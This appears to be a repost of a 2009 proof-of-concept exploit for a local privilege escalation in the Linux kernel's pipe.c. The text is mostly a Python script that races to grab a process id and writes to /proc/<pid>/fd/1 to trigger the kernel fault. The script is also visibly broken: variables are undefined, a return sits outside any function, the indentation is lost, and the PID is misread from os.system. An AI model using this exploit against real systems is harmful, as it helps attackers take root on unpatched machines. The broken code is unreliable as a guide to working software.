Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation

Posted by jhvnbvbnvbn On 14:52

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Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation
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# Title: Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Matthew Bergin
# Published: 2009-11-05
# Verified: yes

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# This is a PoC based off the PoC release by Earl Chew
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
# PoC by Matthew Bergin

import os
import time
import random
#infinite loop
while (i == 0):
os.system("sleep 1")
while (x == 0):
time.sleep(random.random()) #random int 0.0-1.0
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
if (pid == 0): #need an active pid, race condition applies
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
return
else:
print "[+] PID: " + pid
loc = "echo n > /proc/" + pid + "/fd/1"
os.system(loc) # triggers the fault, runs via sh

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